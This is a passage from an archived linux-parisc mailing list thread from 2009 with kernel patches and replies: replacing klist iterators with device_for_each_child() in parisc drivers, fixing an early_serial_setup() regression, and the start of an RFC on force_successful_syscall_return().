>  void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
>  			void (*choose_irq)(struct parisc_device *, void *))
>  {
> -	struct device *dev;
> -	struct klist_iter i;
> -
> -	klist_iter_init(&parent->dev.klist_children, &i);
> -	while ((dev = next_device(&i))) {
> -		struct parisc_device *padev = to_parisc_device(dev);
> -
> -		/* work-around for 715/64 and others which have parent 
> -		   at path [5] and children at path [5/0/x] */
> -		if (padev->id.hw_type == HPHW_FAULTY)
> -			return gsc_fixup_irqs(padev, ctrl, choose_irq);
> -		choose_irq(padev, ctrl);
> -	}
> -	klist_iter_exit(&i);
> +	struct gsc_fixup_struct data = {
> +		.choose_irq	= choose_irq,
> +		.ctrl		= ctrl,
> +	};
> +
> +	device_for_each_child(&parent->dev, &data, gsc_fixup_irqs_callback);
>  }
>  
>  int gsc_common_setup(struct parisc_device *parent, struct gsc_asic *gsc_asic)
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index 3fac8f8..1f5ebc2 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -1206,31 +1206,49 @@ sba_alloc_pdir(unsigned int pdir_size)
>  	return (void *) pdir_base;
>  }
>  
> -static struct device *next_device(struct klist_iter *i)
> +struct ibase_data_struct {
> +	struct ioc *ioc;
> +	int ioc_num;
> +};
> +
> +static int setup_ibase_imask_callback(struct device *dev, void *data)
>  {
> -        struct klist_node * n = klist_next(i);
> -        return n ? container_of(n, struct device, knode_parent) : NULL;
> +	/* lba_set_iregs() is in drivers/parisc/lba_pci.c */
> +        extern void lba_set_iregs(struct parisc_device *, u32, u32);
> +	struct parisc_device *lba = to_parisc_device(dev);
> +	struct ibase_data_struct *ibd = data;
> +	int rope_num = (lba->hpa.start >> 13) & 0xf;
> +	if (rope_num >> 3 == ibd->ioc_num)
> +		lba_set_iregs(lba, ibd->ioc->ibase, ibd->ioc->imask);
> +	return 0;
>  }
>  
>  /* setup Mercury or Elroy IBASE/IMASK registers. */
>  static void 
>  setup_ibase_imask(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
>  {
> -	/* lba_set_iregs() is in drivers/parisc/lba_pci.c */
> -        extern void lba_set_iregs(struct parisc_device *, u32, u32);
> -	struct device *dev;
> -	struct klist_iter i;
> -
> -	klist_iter_init(&sba->dev.klist_children, &i);
> -	while ((dev = next_device(&i))) {
> -		struct parisc_device *lba = to_parisc_device(dev);
> -		int rope_num = (lba->hpa.start >> 13) & 0xf;
> -		if (rope_num >> 3 == ioc_num)
> -			lba_set_iregs(lba, ioc->ibase, ioc->imask);
> -	}
> -	klist_iter_exit(&i);
> +	struct ibase_data_struct ibase_data = {
> +		.ioc		= ioc,
> +		.ioc_num	= ioc_num,
> +	};
> +
> +	device_for_each_child(&sba->dev, &ibase_data,
> +			      setup_ibase_imask_callback);
>  }
>  
> +#ifdef SBA_AGP_SUPPORT
> +static int
> +sba_ioc_find_quicksilver(struct device *dev, void *data)
> +{
> +	int *agp_found = data;
> +	struct parisc_device *lba = to_parisc_device(dev);
> +
> +	if (IS_QUICKSILVER(lba))
> +		*agp_found = 1;
> +	return 0;
> +}
> +#endif
> +
>  static void
>  sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
>  {
> @@ -1332,9 +1350,6 @@ sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
>  	WRITE_REG(ioc->ibase | 31, ioc->ioc_hpa + IOC_PCOM);
>  
>  #ifdef SBA_AGP_SUPPORT
> -{
> -	struct klist_iter i;
> -	struct device *dev = NULL;
>  
>  	/*
>  	** If an AGP device is present, only use half of the IOV space
> @@ -1344,13 +1359,7 @@ sba_ioc_init_pluto(struct parisc_device *sba, struct ioc *ioc, int ioc_num)
>  	** We program the next pdir index after we stop w/ a key for
>  	** the GART code to handshake on.
>  	*/
> -	klist_iter_init(&sba->dev.klist_children, &i);
> -	while ((dev = next_device(&i))) {
> -		struct parisc_device *lba = to_parisc_device(dev);
> -		if (IS_QUICKSILVER(lba))
> -			agp_found = 1;
> -	}
> -	klist_iter_exit(&i);
> +	device_for_each_child(&sba->dev, &agp_found, sba_ioc_find_quicksilver);
>  
>  	if (agp_found && sba_reserve_agpgart) {
>  		printk(KERN_INFO "%s: reserving %dMb of IOVA space for agpgart\n",
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] remove klist iterators
Date: Tue, 13 Jan 2009 15:58:16 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20090113205816.GC25103@bombadil.infradead.org>
References: <1231549026.3235.84.camel@localhost.localdomain> <496CFF77.8090101@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231880312 7960 80.91.229.12 (13 Jan 2009 20:58:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 20:58:32 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 21:59:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMqMN-0007Wz-1N
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 21:59:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752294AbZAMU6U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 15:58:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752806AbZAMU6U
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 15:58:20 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49898 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752294AbZAMU6T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 15:58:19 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LMqL2-0004my-EX; Tue, 13 Jan 2009 20:58:16 +0000
Content-Disposition: inline
In-Reply-To: <496CFF77.8090101@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1177>

On Tue, Jan 13, 2009 at 09:54:15PM +0100, Helge Deller wrote:
> James Bottomley wrote:
> > commit 11c3b5c3e08f4d855cbef52883c266b9ab9df879
> > Author: Greg Kroah-Hartman <gregkh@suse.de>
> > Date:   Tue Dec 16 12:24:56 2008 -0800
> > 
> >     driver core: move klist_children into private structure
> > 
> > Broke our parisc build pretty badly because we touch the klists directly
> > in three cases (AGP, SBA and GSC).  Although GregKH will revert this
> > patch, there's no reason we should be using the iterators directly, we
> > can just move to the standard device_for_each_child() API.
> > 
> > Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
> 
> I just tested this patch on my 715/64 and c3000 with 2.6.29-rc1. Everything OK.
> 
> Tested-by: Helge Deller <deller@gmx.de>
> 

Thanks. Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] remove klist iterators
Date: Tue, 13 Jan 2009 15:21:11 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <1231881671.21012.2.camel@localhost.localdomain>
References: <1231549026.3235.84.camel@localhost.localdomain>
	 <496CFF77.8090101@gmx.de>  <20090113205816.GC25103@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231881724 13894 80.91.229.12 (13 Jan 2009 21:22:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 21:22:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 22:23:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMqim-0000eh-36
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 22:22:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753062AbZAMVVR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 16:21:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753869AbZAMVVR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 16:21:17 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:59859 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753062AbZAMVVQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 16:21:16 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4613A8270;
	Tue, 13 Jan 2009 15:21:14 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id KAlqkzOe6CKz; Tue, 13 Jan 2009 15:21:13 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id D89AB8096;
	Tue, 13 Jan 2009 15:21:12 -0600 (CST)
In-Reply-To: <20090113205816.GC25103@bombadil.infradead.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1178>

On Tue, 2009-01-13 at 15:58 -0500, Kyle McMartin wrote:
> On Tue, Jan 13, 2009 at 09:54:15PM +0100, Helge Deller wrote:
> > James Bottomley wrote:
> > > commit 11c3b5c3e08f4d855cbef52883c266b9ab9df879
> > > Author: Greg Kroah-Hartman <gregkh@suse.de>
> > > Date:   Tue Dec 16 12:24:56 2008 -0800
> > > 
> > >     driver core: move klist_children into private structure
> > > 
> > > Broke our parisc build pretty badly because we touch the klists directly
> > > in three cases (AGP, SBA and GSC).  Although GregKH will revert this
> > > patch, there's no reason we should be using the iterators directly, we
> > > can just move to the standard device_for_each_child() API.
> > > 
> > > Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
> > 
> > I just tested this patch on my 715/64 and c3000 with 2.6.29-rc1. Everything OK.
> > 
> > Tested-by: Helge Deller <deller@gmx.de>
> > 
> 
> Thanks. Applied.

So you think I'd send an untested and uncompiled patch to the list?  ...
Hey, I strongly resemble that allegation!

The quicksilver AGP will need testing on a c8000 system, I think.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] remove klist iterators
Date: Tue, 13 Jan 2009 16:35:54 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20090113213554.GF25103@bombadil.infradead.org>
References: <1231549026.3235.84.camel@localhost.localdomain> <496CFF77.8090101@gmx.de> <20090113205816.GC25103@bombadil.infradead.org> <1231881671.21012.2.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231882587 17080 80.91.229.12 (13 Jan 2009 21:36:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 21:36:27 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 22:37:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMqwp-0006Xf-3O
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 22:37:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753728AbZAMVgA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 16:36:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754412AbZAMVgA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 16:36:00 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:38960 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753728AbZAMVf7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 16:35:59 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LMqvS-0003ox-KS; Tue, 13 Jan 2009 21:35:54 +0000
Content-Disposition: inline
In-Reply-To: <1231881671.21012.2.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1179>

On Tue, Jan 13, 2009 at 03:21:11PM -0600, James Bottomley wrote:
> So you think I'd send an untested and uncompiled patch to the list?  ...
> Hey, I strongly resemble that allegation!
> 
> The quicksilver AGP will need testing on a c8000 system, I think.
> 

I'm sure every user will be horribly upset if it breaks. Oh wait. It's
just me. ;-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] fix early_serial_setup() regression
Date: Tue, 13 Jan 2009 22:51:07 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <496D0CCB.1020706@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231883550 20536 80.91.229.12 (13 Jan 2009 21:52:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 21:52:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: David Daney <ddaney@caviumnetworks.com>,
	Tomaso Paoletti <tpaoletti@caviumnetworks.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Linus Torvald
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 22:53:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMrCX-0004Gj-Cf
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 22:53:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753555AbZAMVwO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 16:52:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754081AbZAMVwO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 16:52:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:39185 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753831AbZAMVwM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 16:52:12 -0500
Original-Received: (qmail invoked by alias); 13 Jan 2009 21:52:10 -0000
Original-Received: from mnhm-590f6442.pool.einsundeins.de (EHLO halden.box) [89.15.100.66]
  by mail.gmx.net (mp067) with SMTP; 13 Jan 2009 22:52:10 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+TCD9S8beTBHt1WkpRxPSkWH5trX2mUGtEWgkk4t
	gSSF7YWb1Age2p
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1180>

commit b430428a188e8a434325e251d0704af4b88b4711,
	"8250: Don't clobber spinlocks."
introduced a regression on the parisc architecture, which
broke the handover to the serial port at boottime.

early_serial_setup() was changed to only copy a subset of the
uart_port fields, and sadly the "type" and "line" fields
were forgotten and thus the serial port was not initialized
and could not be used for a handover.
This patch fixes this by copying the missing fields.

As this change to early_serial_setup() doesn't need an 
initialized spinlock in the uart_port struct any longer, we
can drop the spinlock initialization in the superio driver.

CC: David Daney <ddaney@caviumnetworks.com>
CC: Tomaso Paoletti <tpaoletti@caviumnetworks.com>
CC: Andrew Morton <akpm@linux-foundation.org>
CC: Alan Cox <alan@lxorguk.ukuu.org.uk>
CC: Linus Torvalds <torvalds@linux-foundation.org>
CC: Kyle McMartin <kyle@mcmartin.ca>
CC: linux-parisc@vger.kernel.org

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/drivers/serial/8250.c b/drivers/serial/8250.c
index 1889a63..0d934bf 100644
--- a/drivers/serial/8250.c
+++ b/drivers/serial/8250.c
@@ -2839,6 +2839,8 @@ int __init early_serial_setup(struct uart_port *port)
 	p->flags        = port->flags;
 	p->mapbase      = port->mapbase;
 	p->private_data = port->private_data;
+	p->type		= port->type;
+	p->line		= port->line;
 
 	set_io_from_upio(p);
 	if (port->serial_in)
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 1e93c83..4fa3bb2 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -405,7 +405,6 @@ static void __init superio_serial_init(void)
 	serial_port.type	= PORT_16550A;
 	serial_port.uartclk	= 115200*16;
 	serial_port.fifosize	= 16;
-	spin_lock_init(&serial_port.lock);
 
 	/* serial port #1 */
 	serial_port.iobase	= sio_dev.sp1_base;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.serial
Subject: Re: [PATCH] fix early_serial_setup() regression
Date: Tue, 13 Jan 2009 16:55:26 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20090113215526.GG25103@bombadil.infradead.org>
References: <496D0CCB.1020706@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1231883755 21223 80.91.229.12 (13 Jan 2009 21:55:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 21:55:55 +0000 (UTC)
Cc: David Daney <ddaney@caviumnetworks.com>,
	Tomaso Paoletti <tpaoletti@caviumnetworks.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-serial@vger.kernel.org, "Rafael J. Wysocky" <rjw@sisk.pl>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 13 22:57:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMrFr-0005dI-UX
	for glpp-linux-parisc@gmane.org; Tue, 13 Jan 2009 22:57:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754678AbZAMVzk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 16:55:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754643AbZAMVzj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 16:55:39 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47591 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754365AbZAMVzi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 16:55:38 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LMrEM-0003q8-Nq; Tue, 13 Jan 2009 21:55:26 +0000
Content-Disposition: inline
In-Reply-To: <496D0CCB.1020706@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1181 gmane.linux.kernel:780188 gmane.linux.serial:3086
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1181>

On Tue, Jan 13, 2009 at 10:51:07PM +0100, Helge Deller wrote:
> commit b430428a188e8a434325e251d0704af4b88b4711,
> 	"8250: Don't clobber spinlocks."
> introduced a regression on the parisc architecture, which
> broke the handover to the serial port at boottime.
> 
> early_serial_setup() was changed to only copy a subset of the
> uart_port fields, and sadly the "type" and "line" fields
> were forgotten and thus the serial port was not initialized
> and could not be used for a handover.
> This patch fixes this by copying the missing fields.
> 
> As this change to early_serial_setup() doesn't need an 
> initialized spinlock in the uart_port struct any longer, we
> can drop the spinlock initialization in the superio driver.
> 
> CC: David Daney <ddaney@caviumnetworks.com>
> CC: Tomaso Paoletti <tpaoletti@caviumnetworks.com>
> CC: Andrew Morton <akpm@linux-foundation.org>
> CC: Alan Cox <alan@lxorguk.ukuu.org.uk>
> CC: Linus Torvalds <torvalds@linux-foundation.org>
> CC: Kyle McMartin <kyle@mcmartin.ca>
> CC: linux-parisc@vger.kernel.org
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

Linus, please apply.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC, PATCH] parisc: add support for force_successful_syscall_return()
Date: Wed, 14 Jan 2009 00:07:50 +0100
Lines: 119
Approved: news@gmane.org
Message-ID: <496D1EC6.7000100@gmx.de>
References: <496520D6.9040801@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1231888089 4121 80.91.229.12 (13 Jan 2009 23:08:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Jan 2009 23:08:09 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 14 00:09:19 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LMsNn-0006l0-Oe
	for glpp-linux-parisc@gmane.org; Wed, 14 Jan 2009 00:09:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752047AbZAMXH4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Jan 2009 18:07:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751995AbZAMXH4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 13 Jan 2009 18:07:56 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:41746 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752109AbZAMXHz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Jan 2009 18:07:55 -0500
Original-Received: (qmail invoked by alias); 13 Jan 2009 23:07:53 -0000
Original-Received: from mnhm-590f6442.pool.einsundeins.de (EHLO halden.box) [89.15.100.66]
  by mail.gmx.net (mp060) with SMTP; 14 Jan 2009 00:07:53 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/rU900/IfrO2UIc9Lvx8E67q/xUx4P7i6V9mLakr
	ETOnTqJPcT0wUX
User-Agent: Thunderbird 2.0.0.19 (X11/20081209)
In-Reply-To: <496520D6.9040801@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.44
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1182
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1182>

Helge Deller wrote:
> I just stumbled over this commit from Paul Mackerras which added 
> support for force_successful_syscall_return() to compat_sys_time()
> and compat_sys_times():
> http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e3d5a27d5862b6425d0879272e24abecf7245105
> 
> This made me wondering, if we couldn't add support for this as
> well for parisc. Important part is of course to keep backwards
> binary compatibility for userspace.
> 
> The following patch is just a draft, fully untested (not even
> compiled) and incomplete (e.g. initialization for r29 in kernel still
> needed), but it should give the idea that I have.
> My idea is to use e.g. r29 as error indicator, since r29 is even 
> marked as clobbered in old userspace syscall implementations.
> 
> So, my main question is:
> Do you think it makes sense to continue on this idea?
> My personal feeling is, that it is doable to implement
> force_successful_syscall_return() in a sane manner while keeping
> backwards ABI compatibility for parisc.
> 
> Feedback very much appreciated.

Sadly I didn't received any feedback. Anyway, maybe this just means the
idea wasn't that bad.

Here is another approach, which I personally like more.
Instead of using r29 as indication flag, this patch modifies the syscall
number itself (r20). If the highest bit is set, this indicates the
syscall was sucessful.
The benefit of r20 is, is that even the very oldest parisc kernels
returned the original syscall number in r20 and since we don't have that
many syscalls the highest bit was never touched. This means, on older
kernels the highest bit of r20 is always zero and we have a forwards- and
